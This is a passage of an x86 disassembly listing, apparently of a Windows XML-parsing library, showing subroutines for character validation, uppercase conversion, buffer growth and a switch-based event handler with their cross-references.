loc_69B4DE4A: ; CODE XREF: sub_69B4DE11+188j
cmp edi, [ebp+var_8]
jl short loc_69B4DE69
loc_69B4DE4F: ; CODE XREF: sub_69B4DE11+55j
; sub_69B4DE11+6Ej
cmp [ebp+var_C], 0
jnz loc_69B4DF9F
mov eax, 0C00CE56Bh
jmp loc_69B4DFD8
; ---------------------------------------------------------------------------
loc_69B4DE63: ; CODE XREF: sub_69B4DE11+69j
cmp edi, [ebp+var_8]
jge short loc_69B4DE4F
inc edi
loc_69B4DE69: ; CODE XREF: sub_69B4DE11+3Cj
mov eax, [ebp+var_14]
xor esi, esi
mov si, [eax+edi*2]
push esi
call sub_69B2ECB4
test eax, eax
jnz short loc_69B4DE63
cmp edi, [ebp+var_8]
jge short loc_69B4DE4F
mov eax, [ebp+arg_0]
or [ebp+var_4], 0FFFFFFFFh
cmp ds:byte_69B4DFF3[eax], 0
mov [ebp+var_18], edi
jz short loc_69B4DEA7
push esi
call sub_69B31987
test eax, eax
jnz short loc_69B4DEA7
cmp [ebp+arg_8], al
jnz loc_69B4DFB0
loc_69B4DEA7: ; CODE XREF: sub_69B4DE11+81j
; sub_69B4DE11+8Bj ...
mov ebx, [ebp+var_14]
xor esi, esi
mov si, [ebx+edi*2]
push esi
call sub_69B2ECB4
test eax, eax
jnz short loc_69B4DEF4
cmp si, 3Ah
jnz short loc_69B4DED8
cmp edi, [ebp+var_18]
jz loc_69B4DFB0
cmp [ebp+var_4], 0FFFFFFFFh
jnz loc_69B4DFBE
mov [ebp+var_4], edi
jmp short loc_69B4DEEC
; ---------------------------------------------------------------------------
loc_69B4DED8: ; CODE XREF: sub_69B4DE11+ADj
cmp [ebp+arg_8], 0
jz short loc_69B4DEEC
push esi
call sub_69B31967
test eax, eax
jz loc_69B4DFC5
loc_69B4DEEC: ; CODE XREF: sub_69B4DE11+C5j
; sub_69B4DE11+CBj
inc edi
cmp edi, [ebp+var_8]
jl short loc_69B4DEA7
jmp short loc_69B4DF00
; ---------------------------------------------------------------------------
loc_69B4DEF4: ; CODE XREF: sub_69B4DE11+A7j
lea eax, [edi-1]
cmp [ebp+var_4], eax
jz loc_69B4DFB7
loc_69B4DF00: ; CODE XREF: sub_69B4DE11+E1j
inc [ebp+var_C]
cmp [ebp+var_C], 1
jle short loc_69B4DF19
mov eax, [ebp+arg_0]
cmp byte ptr ds:(loc_69B4DFE6+1)[eax], 0
jz loc_69B4DFCC
loc_69B4DF19: ; CODE XREF: sub_69B4DE11+F6j
mov eax, [ebp+var_18]
mov esi, edi
sub esi, eax
lea ebx, [ebx+eax*2]
mov eax, [ebp+arg_0]
cmp eax, 3
jl short loc_69B4DF89
cmp eax, 4
jle short loc_69B4DF66
cmp eax, 6
jle short loc_69B4DF60
cmp eax, 8
jz short loc_69B4DF66
cmp eax, 0Bh
jnz short loc_69B4DF89
mov eax, [ebp+var_4]
xor ecx, ecx
cmp eax, ecx
jle short loc_69B4DF4D
sub eax, [ebp+var_18]
jmp short loc_69B4DF4F
; ---------------------------------------------------------------------------
loc_69B4DF4D: ; CODE XREF: sub_69B4DE11+135j
xor eax, eax
loc_69B4DF4F: ; CODE XREF: sub_69B4DE11+13Aj
push ecx ; int
push ecx ; int
push ecx ; int
push ecx ; int
mov ecx, [ebp+var_20]
push eax ; int
push esi ; int
push ebx ; lpString
call sub_69B4D62C
jmp short loc_69B4DF90
; ---------------------------------------------------------------------------
loc_69B4DF60: ; CODE XREF: sub_69B4DE11+122j
cmp [ebp+var_4], 0
jg short loc_69B4DFD3
loc_69B4DF66: ; CODE XREF: sub_69B4DE11+11Dj
; sub_69B4DE11+127j
cmp [ebp+var_1C], 0
jnz short loc_69B4DF77
call sub_69B1D7F6
mov [ebp+var_1C], eax
mov [ebp+var_10], eax
loc_69B4DF77: ; CODE XREF: sub_69B4DE11+159j
push esi
push ebx
call sub_69B2F9F5
mov ecx, [ebp+var_1C]
push eax
call sub_69B8A35C
jmp short loc_69B4DF93
; ---------------------------------------------------------------------------
loc_69B4DF89: ; CODE XREF: sub_69B4DE11+118j
; sub_69B4DE11+12Cj
push esi
push ebx
call sub_69B2F9F5
loc_69B4DF90: ; CODE XREF: sub_69B4DE11+14Dj
mov [ebp+var_10], eax
loc_69B4DF93: ; CODE XREF: sub_69B4DE11+176j
cmp edi, [ebp+var_8]
mov ebx, [ebp+arg_4]
jl loc_69B4DE4A
loc_69B4DF9F: ; CODE XREF: sub_69B4DE11+42j
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+30h]
mov eax, [ebp+var_10]
loc_69B4DFA9: ; CODE XREF: sub_69B4DE11:loc_69B4DFE6j
pop esi
pop edi
pop ebx
locret_69B4DFAC: ; CODE XREF: sub_69B4DE11+17j
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B4DFB0: ; CODE XREF: sub_69B4DE11+90j
; sub_69B4DE11+B2j
mov eax, 0C00CE504h
jmp short loc_69B4DFD8
; ---------------------------------------------------------------------------
loc_69B4DFB7: ; CODE XREF: sub_69B4DE11+E9j
mov eax, 0C00CE20Fh
jmp short loc_69B4DFD8
; ---------------------------------------------------------------------------
loc_69B4DFBE: ; CODE XREF: sub_69B4DE11+BCj
mov eax, 0C00CE51Ch
jmp short loc_69B4DFD8
; ---------------------------------------------------------------------------
loc_69B4DFC5: ; CODE XREF: sub_69B4DE11+D5j
mov eax, 0C00CE505h
jmp short loc_69B4DFD8
; ---------------------------------------------------------------------------
loc_69B4DFCC: ; CODE XREF: sub_69B4DE11+102j
mov eax, 0C00CE574h
jmp short loc_69B4DFD8
; ---------------------------------------------------------------------------
loc_69B4DFD3: ; CODE XREF: sub_69B4DE11+153j
mov eax, 0C00CE00Ch
loc_69B4DFD8: ; CODE XREF: sub_69B4DE11+4Dj
; sub_69B4DE11+1A4j ...
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
xor eax, eax
loc_69B4DFE6: ; DATA XREF: sub_69B4DE11+FBr
jmp short loc_69B4DFA9
sub_69B4DE11 endp
; ---------------------------------------------------------------------------
dd 1000000h, 1000100h
db 3 dup(0)
byte_69B4DFF3 db 0 ; DATA XREF: sub_69B4DE11+77r
dd 1010100h, 101h
db 1, 0, 1
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4DFFF proc near ; CODE XREF: sub_69B4918C+15p
; sub_69B4F0B4+9Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
test eax, eax
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov esi, ecx
jbe short loc_69B4E054
mov [ebp+var_4], eax
loc_69B4E015: ; CODE XREF: sub_69B4DFFF+53j
xor edi, edi
mov di, [ebx]
cmp di, 80h
jnb short loc_69B4E035
cmp di, 61h
jb short loc_69B4E04D
cmp di, 7Ah
ja short loc_69B4E04D
add edi, 0FFFFFFE0h
mov [ebx], di
jmp short loc_69B4E04D
; ---------------------------------------------------------------------------
loc_69B4E035: ; CODE XREF: sub_69B4DFFF+20j
push edi
call ds:SHLWAPI_26
test eax, eax
jnz short loc_69B4E04D
movzx eax, di
push eax
call ds:SHLWAPI_43
mov [ebx], ax
loc_69B4E04D: ; CODE XREF: sub_69B4DFFF+26j
; sub_69B4DFFF+2Cj ...
inc ebx
inc ebx
dec [ebp+var_4]
jnz short loc_69B4E015
loc_69B4E054: ; CODE XREF: sub_69B4DFFF+11j
push [ebp+arg_4]
mov ecx, [esi+0Ch]
push [ebp+arg_0]
call sub_69B1941C
mov edi, eax
xor eax, eax
cmp edi, eax
jnz short loc_69B4E091
push eax
push eax
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B4DBEA
push [ebp+arg_4]
mov esi, [esi+0Ch]
push [ebp+arg_0]
mov edi, eax
call sub_69B190C1
push edi
push eax
mov ecx, esi
call sub_69B3182D
loc_69B4E091: ; CODE XREF: sub_69B4DFFF+69j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B4DFFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B4E09A(LPCWSTR lpString, int, char, char)
sub_69B4E09A proc near ; CODE XREF: sub_69B3E5A2+6Dp
; sub_69B4D02C+90p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
push [ebp+lpString] ; lpString
mov edi, ecx
mov [ebp+var_C], edi
call ds:lstrlenW ; lstrlenW
mov [ebp+var_8], eax
lea eax, [ebp+var_4]
push eax
push [ebp+lpString]
call sub_69B31F88
xor ebx, ebx
test al, al
jnz short loc_69B4E0D9
push ebx
push 0C00CE505h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B4E0D9: ; CODE XREF: sub_69B4E09A+2Aj
cmp [ebp+arg_C], bl
jnz short loc_69B4E0E1
mov [ebp+var_4], ebx
loc_69B4E0E1: ; CODE XREF: sub_69B4E09A+42j
mov esi, [ebp+arg_4]
cmp esi, ebx
jz short loc_69B4E0EF
cmp [esi], bx
jnz short loc_69B4E0EF
xor esi, esi
loc_69B4E0EF: ; CODE XREF: sub_69B4E09A+4Cj
; sub_69B4E09A+51j
cmp [ebp+var_4], ebx
jz short loc_69B4E11D
push [ebp+var_4]
push [ebp+lpString]
call sub_69B4D200
test al, al
jz short loc_69B4E11D
push [ebp+var_4] ; int
mov ecx, edi
push [ebp+lpString] ; lpString
push ebx ; int
call sub_69B4D394
push eax
call sub_69B4D2B6
mov esi, eax
mov edi, esi
jmp short loc_69B4E13E
; ---------------------------------------------------------------------------
loc_69B4E11D: ; CODE XREF: sub_69B4E09A+58j
; sub_69B4E09A+67j
cmp esi, ebx
jz short loc_69B4E13A
push 0FFFFFFFFh ; int
push esi ; lpString
push ebx ; int
mov ecx, edi
call sub_69B4D394
mov esi, eax
push esi
mov ecx, edi
call sub_69B4DA96
mov edi, eax
jmp short loc_69B4E13E
; ---------------------------------------------------------------------------
loc_69B4E13A: ; CODE XREF: sub_69B4E09A+85j
xor esi, esi
xor edi, edi
loc_69B4E13E: ; CODE XREF: sub_69B4E09A+81j
; sub_69B4E09A+9Ej
cmp edi, ebx
jnz short loc_69B4E168
cmp [ebp+arg_8], bl
jz short loc_69B4E168
cmp [ebp+var_4], ebx
jz short loc_69B4E168
push ebx
push [ebp+var_4]
push [ebp+lpString]
call sub_69B190C1
push eax
mov eax, 0C00CE01Dh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
loc_69B4E168: ; CODE XREF: sub_69B4E09A+A6j
; sub_69B4E09A+ABj ...
mov ecx, [ebp+var_C]
push 1 ; int
push esi ; int
push edi ; int
push ebx ; int
push [ebp+var_4] ; int
push [ebp+var_8] ; int
push [ebp+lpString] ; lpString
call sub_69B4D62C
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B4E09A endp
; =============== S U B R O U T I N E =======================================
sub_69B4E185 proc near ; CODE XREF: sub_69B4E20A+2p
; sub_69B5CB6E+42p
arg_0 = byte ptr 4
push ebx
push esi
mov esi, ecx
xor eax, eax
mov al, [esi+24h]
push edi
push eax
call sub_69B1A6EC
mov edi, eax
mov ecx, edi
call sub_69B17275
mov ecx, esi
mov ebx, eax
call sub_69B17275
cmp ebx, eax
jnz short loc_69B4E1B9
lea eax, [esi+0Ch]
push eax
lea ecx, [edi+0Ch]
call sub_69B4D414
jmp short loc_69B4E1D1
; ---------------------------------------------------------------------------
loc_69B4E1B9: ; CODE XREF: sub_69B4E185+24j
mov ecx, [esi+0Ch]
push edi
push offset loc_69B4DA6B
call sub_69B31749
push eax
lea eax, [edi+0Ch]
push eax
call sub_69B17320
loc_69B4E1D1: ; CODE XREF: sub_69B4E185+32j
cmp dword ptr [esi+20h], 0
jz short loc_69B4E202
cmp [esp+0Ch+arg_0], 0
jz short loc_69B4E202
lea eax, [esi+18h]
push eax
lea ecx, [edi+18h]
call sub_69B4D414
mov ecx, [esi+1Ch]
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea eax, [edi+1Ch]
push eax
call sub_69B17320
mov eax, [esi+20h]
mov [edi+20h], eax
loc_69B4E202: ; CODE XREF: sub_69B4E185+50j
; sub_69B4E185+57j
mov eax, edi
pop edi
pop esi
pop ebx
retn 4
sub_69B4E185 endp
; =============== S U B R O U T I N E =======================================
sub_69B4E20A proc near ; DATA XREF: .text:69B12724o
push 1
call sub_69B4E185
retn
sub_69B4E20A endp
; =============== S U B R O U T I N E =======================================
sub_69B4E212 proc near ; CODE XREF: sub_69B4E3A1+36p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
lea eax, [ebx+ebx+10h]
push eax
mov edi, ecx
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], ebx
call sub_69B19118
push 0
push edi
mov dword ptr [esi], offset off_69B121D0
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B4E212 endp
; =============== S U B R O U T I N E =======================================
sub_69B4E24E proc near ; CODE XREF: sub_69B4E278+5p
; sub_69B4F64F+11p ...
push esi
mov esi, ecx
push offset dword_69B4E268
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B4E24E endp
; ---------------------------------------------------------------------------
align 4
dword_69B4E268 dd 0D242361Fh, 11D251A0h, 6000AF9Ch, 393DECB0h
; =============== S U B R O U T I N E =======================================
sub_69B4E278 proc near ; CODE XREF: sub_69B3DA5B+7p
; sub_69B4EE6F+9p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
call sub_69B4E24E
mov edi, [esp+0Ch+arg_0]
xor ebx, ebx
mov [esi+10h], ebx
lea eax, [esi+14h]
mov [eax], ebx
mov [esi+18h], ebx
mov [esi+20h], ebx
mov [esi+30h], ebx
mov [esi+38h], ebx
push dword ptr [edi+50h]
push eax
call sub_69B17320
push edi
lea eax, [esi+10h]
push eax
call sub_69B2DEB2
push ebx
lea eax, [esi+38h]
push eax
mov [esi+34h], bl
mov [esi+3Ch], ebx
call sub_69B17320
mov [esi+40h], bl
mov al, [edi+8Eh]
mov [esi+2Dh], al
mov [esi+2Ch], al
cmp [edi+0E8h], ebx
jz short loc_69B4E31D
push 50h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 10h
call sub_69B19118
push edi
lea eax, [esi+18h]
push eax
mov dword ptr [edi], offset off_69B1EE00
call sub_69B17320
push 50h
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 10h
call sub_69B19118
mov dword ptr [edi], offset off_69B1EE00
push edi
jmp short loc_69B4E328
; ---------------------------------------------------------------------------
loc_69B4E31D: ; CODE XREF: sub_69B4E278+5Cj
push ebx
lea eax, [esi+18h]
push eax
call sub_69B17320
push ebx
loc_69B4E328: ; CODE XREF: sub_69B4E278+A3j
lea eax, [esi+20h]
push eax
call sub_69B17320
or dword ptr [esi+1Ch], 0FFFFFFFFh
or dword ptr [esi+24h], 0FFFFFFFFh
pop edi
mov [esi+28h], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B4E278 endp
; =============== S U B R O U T I N E =======================================
sub_69B4E344 proc near ; CODE XREF: sub_69B3DA9D+1Cj
; sub_69B4EEA0+26j
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0
lea edi, [esi+10h]
push edi
call sub_69B17320
push 0
lea ebx, [esi+0Ch]
push ebx
call sub_69B2DEB2
push 0
lea ebp, [esi+34h]
push ebp
call sub_69B17320
push ebp
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
add esi, 14h
push esi
call sub_69B17230
push edi
call sub_69B17230
push ebx
call sub_69B2DEDD
pop edi
pop esi
pop ebp
pop ebx
jmp sub_69B2C65C
sub_69B4E344 endp
; =============== S U B R O U T I N E =======================================
sub_69B4E3A1 proc near ; CODE XREF: sub_69B4E98C+6Dp
; sub_69B4E98C+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push ebx
mov ebx, ecx
mov eax, [ebx+3Ch]
mov ecx, [ebx+38h]
push esi
add eax, edx
test ecx, ecx
push edi
jz short loc_69B4E3BB
mov esi, [ecx+8]
jmp short loc_69B4E3BD
; ---------------------------------------------------------------------------
loc_69B4E3BB: ; CODE XREF: sub_69B4E3A1+13j
xor esi, esi
loc_69B4E3BD: ; CODE XREF: sub_69B4E3A1+18j
cmp eax, esi
jbe short loc_69B4E40A
test esi, esi
jnz short loc_69B4E3CE
mov esi, 400h
jmp short loc_69B4E3CE
; ---------------------------------------------------------------------------
loc_69B4E3CC: ; CODE XREF: sub_69B4E3A1+2Fj
add esi, esi
loc_69B4E3CE: ; CODE XREF: sub_69B4E3A1+22j
; sub_69B4E3A1+29j
cmp eax, esi
ja short loc_69B4E3CC
test ecx, ecx
jz short loc_69B4E3DE
push esi
call sub_69B4E212
jmp short loc_69B4E3FC
; ---------------------------------------------------------------------------
loc_69B4E3DE: ; CODE XREF: sub_69B4E3A1+33j
lea eax, [esi+esi+10h]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], esi
call sub_69B19118
mov dword ptr [edi], offset off_69B121D0
mov eax, edi
loc_69B4E3FC: ; CODE XREF: sub_69B4E3A1+3Bj
push eax
lea eax, [ebx+38h]
push eax
call sub_69B17320
mov edx, [esp+0Ch+arg_4]
loc_69B4E40A: ; CODE XREF: sub_69B4E3A1+1Ej
mov eax, [ebx+3Ch]
mov edi, [ebx+38h]
mov esi, [esp+0Ch+arg_0]
lea edi, [edi+eax*2+0Ch]
mov ecx, edx
rep movsw
add [ebx+3Ch], edx
pop edi
pop esi
pop ebx
retn 8
sub_69B4E3A1 endp
; =============== S U B R O U T I N E =======================================
sub_69B4E426 proc near ; CODE XREF: sub_69B4E45A+96p
; sub_69B4EA49+4Bp ...
push esi
mov esi, ecx
mov eax, [esi+38h]
push edi
push dword ptr [esi+3Ch]
add eax, 0Ch
push eax
call sub_69B190D7
lea edi, [esi+30h]
mov ecx, [edi]
mov edx, [ecx]
push eax
call dword ptr [edx+114h]
push 0
push edi
call sub_69B17320
and dword ptr [esi+3Ch], 0
pop edi
mov byte ptr [esi+34h], 0
pop esi
retn
sub_69B4E426 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B4E45A proc near ; DATA XREF: .text:69B123E8o
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
cmp eax, 9 ; switch 10 cases
push ebx
push esi
ja loc_69B4E559 ; default
; jumptable 69B4E46B case 6
jmp ds:off_69B4E561[eax*4] ; switch jump
loc_69B4E472: ; DATA XREF: .text:off_69B4E561o
mov esi, [ebp+arg_0] ; jumptable 69B4E46B case 0
xor ebx, ebx
push ebx
lea eax, [esi+30h]
push eax
mov [esi+44h], bl
call sub_69B17320
mov eax, [esi+10h]
mov eax, [eax+4Ch]
and byte ptr [eax+0Ah], 0FEh
mov [esi+48h], eax
mov eax, [esi+10h]
mov cl, [eax+82h]
mov [esi+41h], cl
mov byte ptr [esi+4Ch], 1
mov eax, [eax+5Ch]
push dword ptr [eax+18h]
lea eax, [esi+50h]
push eax
call sub_69B17320
mov ecx, [esi+10h]
mov eax, [ecx]
call dword ptr [eax+44h]
jmp loc_69B4E559 ; default
; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------
loc_69B4E4BD: ; CODE XREF: sub_69B4E45A+11j
; DATA XREF: .text:off_69B4E561o
mov eax, [ebp+arg_0] ; jumptable 69B4E46B cases 1,3
inc dword ptr [eax+28h]
jmp loc_69B4E559 ; default
; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------
loc_69B4E4C8: ; CODE XREF: sub_69B4E45A+11j
; DATA XREF: .text:off_69B4E561o
mov eax, [ebp+arg_0] ; jumptable 69B4E46B cases 2,4
dec dword ptr [eax+28h]
jmp loc_69B4E559 ; default
; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------
loc_69B4E4D3: ; CODE XREF: sub_69B4E45A+11j
; DATA XREF: .text:off_69B4E561o
mov esi, [ebp+arg_0] ; jumptable 69B4E46B case 5
mov ecx, [esi+10h]
mov eax, [ecx]
call dword ptr [eax+48h]
mov byte ptr [esi+4Ch], 0
jmp short loc_69B4E559 ; default
; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------
loc_69B4E4E4: ; CODE XREF: sub_69B4E45A+11j
; DATA XREF: .text:off_69B4E561o
mov esi, [ebp+arg_0] ; jumptable 69B4E46B case 7
xor ebx, ebx
cmp [esi+3Ch], ebx
jbe short loc_69B4E4F5
mov ecx, esi
call sub_69B4E426
loc_69B4E4F5: ; CODE XREF: sub_69B4E45A+92j
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
mov [esi+34h], bl
jmp short loc_69B4E559 ; default
; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------
loc_69B4E504: ; CODE XREF: sub_69B4E45A+11j
; DATA XREF: .text:off_69B4E561o
mov esi, [ebp+arg_0] ; jumptable 69B4E46B case 8
xor ebx, ebx
cmp [esi+40h], bl
jnz short loc_69B4E51D
mov ecx, [esi+10h]
call sub_69B3DABE
mov ecx, eax
call sub_69B8B602
loc_69B4E51D: ; CODE XREF: sub_69B4E45A+B2j
mov ecx, [esi+10h]
call sub_69B3EE2A
push ebx
lea eax, [esi+30h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+38h]
push eax
mov [esi+3Ch], ebx
call sub_69B17320
mov [esi+2Ch], bl
mov [esi+44h], bl
push ebx
add esi, 50h
push esi
call sub_69B17320
jmp short loc_69B4E559 ; default
; jumptable 69B4E46B case 6
; ---------------------------------------------------------------------------
loc_69B4E54E: ; CODE XREF: sub_69B4E45A+11j
; DATA XREF: .text:off_69B4E561o
mov eax, [ebp+arg_0] ; jumptable 69B4E46B case 9
mov ecx, [eax+10h]
mov eax, [ecx]
call dword ptr [eax+70h]
loc_69B4E559: ; CODE XREF: sub_69B4E45A+Bj
; sub_69B4E45A+11j ...
pop esi ; default
; jumptable 69B4E46B case 6
xor eax, eax
pop ebx
pop ebp
retn 0Ch
sub_69B4E45A endp
; ---------------------------------------------------------------------------
off_69B4E561 dd offset loc_69B4E472 ; DATA XREF: sub_69B4E45A+11r
dd offset loc_69B4E4BD ; jump table for switch statement
dd offset loc_69B4E4C8
dd offset loc_69B4E4BD
dd offset loc_69B4E4C8
dd offset loc_69B4E4D3
dd offset loc_69B4E559
dd offset loc_69B4E4E4
dd offset loc_69B4E504
dd offset loc_69B4E54E
; =============== S U B R O U T I N E =======================================
sub_69B4E589 proc near ; DATA XREF: .text:69B123ECo
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_8]
mov ebx, [edi+20h]
push 0
lea eax, [esi+30h]
push eax
call sub_69B17320
cmp byte ptr [esi+2Ch], 0
mov byte ptr [esi+34h], 0
jz short loc_69B4E5B4
mov eax, ebx
or eax, 2
mov [edi+20h], eax
loc_69B4E5B4: ; CODE XREF: sub_69B4E589+21j
cmp byte ptr [esi+44h], 0
jz short loc_69B4E5C2
mov al, [esi+45h]
mov [esi+2Ch], al
jmp short loc_69B4E5D3
; ---------------------------------------------------------------------------
loc_69B4E5C2: ; CODE XREF: sub_69B4E589+2Fj
test ebx, 4
jz short loc_69B4E5D3
shr ebx, 3
and bl, 1
mov [esi+2Ch], bl
loc_69B4E5D3: ; CODE XREF: sub_69B4E589+37j
; sub_69B4E589+3Fj
pop edi
mov byte ptr [esi+44h], 0
pop esi
xor eax, eax
pop ebx
retn 0Ch
sub_69B4E589 endp
; =============== S U B R O U T I N E =======================================
sub_69B4E5DF proc near ; DATA XREF: .text:69B123F4o
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
mov ecx, [esi+10h]
push edi
xor edi, edi
push edi
mov byte ptr [esi+40h], 1
call sub_69B3D622
mov ecx, [esi+10h]
call sub_69B3EE2A
push edi
lea eax, [esi+30h]
push eax
call sub_69B17320
push edi
lea eax, [esi+38h]
push eax
mov [esi+3Ch], edi
call sub_69B17320
push edi
lea eax, [esi+50h]
push eax
call sub_69B17320
push edi
lea eax, [esi+18h]
push eax
call sub_69B17320
or dword ptr [esi+1Ch], 0FFFFFFFFh
mov eax, [esp+8+arg_8]
pop edi
pop esi
retn 14h
sub_69B4E5DF endp
; =============== S U B R O U T I N E =======================================
sub_69B4E634 proc near ; CODE XREF: sub_69B4EA49+C4p
; sub_69B5B558+1ABp ...
push 78h
push offset dword_69B4E980
call sub_69B19C5C
and dword ptr [ebp-4], 0
mov edi, [ebp+10h]
mov ecx, edi
call sub_69B3DABE
mov [ebp-1Ch], eax
mov esi, [ebp+0Ch]
mov eax, [esi+8]
shr eax, 14h
and al, 1
mov cl, al
neg cl
sbb ecx, ecx
not ecx
mov ebx, [ebp+14h]
and ecx, ebx
mov [ebp-20h], ecx
neg al
sbb eax, eax
and eax, ebx
mov [ebp-24h], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0E0h]
mov [ebp-28h], eax
test ebx, ebx
jz short loc_69B4E691
test eax, eax
jnz short loc_69B4E691
mov ecx, ebx
call sub_69B8C6AD
loc_69B4E691: ; CODE XREF: sub_69B4E634+50j
; sub_69B4E634+54j
mov [ebp-2Ch], eax
mov eax, [edi+70h]
mov [ebp-30h], eax
mov [ebp-34h], eax
push esi
mov ecx, [ebp-1Ch]
call sub_69B8B21E
push 1
push 1
push 0
mov ecx, esi
call sub_69B4AAFC
mov edi, eax
mov [ebp-38h], edi
cmp dword ptr [ebp-2Ch], 1
jle short loc_69B4E6D7
cmp dword ptr [ebp-2Ch], 0Ch
jge short loc_69B4E6D7
push 1
push edi
push dword ptr [ebp-2Ch]
mov ecx, [ebp-30h]
call sub_69B4DE11
mov [ebp-3Ch], eax
jmp short loc_69B4E6DA
; ---------------------------------------------------------------------------
loc_69B4E6D7: ; CODE XREF: sub_69B4E634+88j
; sub_69B4E634+8Ej
mov [ebp-3Ch], edi
loc_69B4E6DA: ; CODE XREF: sub_69B4E634+A1j
mov eax, [ebp-2Ch]
dec eax
cmp eax, 0Ah ; switch 11 cases
ja short loc_69B4E729 ; default
movzx eax, ds:byte_69B4E970[eax]
jmp ds:off_69B4E95C[eax*4] ; switch jump
loc_69B4E6F1: ; DATA XREF: .text:off_69B4E95Co
test ebx, ebx ; jumptable 69B4E6EA case 0
jz short loc_69B4E729 ; default
mov eax, [ebx+24h]
mov [ebp-40h], eax
mov ebx, [ebx+28h]
mov [ebp-44h], ebx
mov ecx, [edi+8]
mov [ebp-48h], ecx
mov edx, [edi+0Ch]
mov [ebp-4Ch], edx
push eax
push ebx
push ecx
push edx
call sub_69B303F8
mov [ebp-50h], eax
test eax, eax
jge short loc_69B4E729 ; default
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B4E729: ; CODE XREF: sub_69B4E634+ADj
; sub_69B4E634+BFj ...
mov ecx, [ebp-24h] ; default
test ecx, ecx
jz loc_69B4E950 ; jumptable 69B4E6EA case 10
push edi
cmp byte ptr [ebp+18h], 0
jz loc_69B4E917
lea eax, [ecx+2Ch]
mov [ebp-88h], eax
jmp loc_69B4E90C
; ---------------------------------------------------------------------------
loc_69B4E74D: ; CODE XREF: sub_69B4E634+B6j
; DATA XREF: .text:off_69B4E95Co
mov edi, [ebp-24h] ; jumptable 69B4E6EA cases 8,9
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B4E7CE
mov eax, [ebp-20h]
cmp eax, ebx
jnz short loc_69B4E765
push ebx
mov ecx, esi
call sub_69B48E56
loc_69B4E765: ; CODE XREF: sub_69B4E634+127j
mov ecx, eax
mov [ebp-20h], ecx
cmp ecx, ebx
jz short loc_69B4E778
push dword ptr [ebp-3Ch]
call sub_69B8C6DE
jmp short loc_69B4E7CE
; ---------------------------------------------------------------------------
loc_69B4E778: ; CODE XREF: sub_69B4E634+138j
push dword ptr [ebp+10h]
push 0Fh
push 20h
call sub_69B3DA47
push eax
mov ecx, esi
call sub_69B49C1F
mov [ebp-54h], eax
cmp eax, ebx
jnz short loc_69B4E7A3
push ebx
mov eax, 0C00CE115h
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B4E7A3: ; CODE XREF: sub_69B4E634+15Dj
push 1
push ebx
push 1
push ebx
mov ecx, [ebp-54h]
call sub_69B4AAFC
push eax
push 8
mov ecx, [ebp-30h]
call sub_69B4DE11
mov [ebp-58h], eax
push esi
push dword ptr [ebp-3Ch]
push eax
call sub_69B48167
jmp short loc_69B4E7CE
; ---------------------------------------------------------------------------
loc_69B4E7CB: ; CODE XREF: sub_69B4E634+B6j
; DATA XREF: .text:off_69B4E95Co
mov edi, [ebp-24h] ; jumptable 69B4E6EA cases 1,6
loc_69B4E7CE: ; CODE XREF: sub_69B4E634+120j
; sub_69B4E634+142j ...
test edi, edi
jz loc_69B4E950 ; jumptable 69B4E6EA case 10
mov ecx, edi
cmp byte ptr [ebp+18h], 0
jz loc_69B4E914
mov eax, [ebp-3Ch]
mov [ebp-5Ch], eax
push eax
call sub_69B8C6DE
lea eax, [edi+2Ch]
mov [ebp-60h], eax
jmp loc_69B4E909
; ---------------------------------------------------------------------------
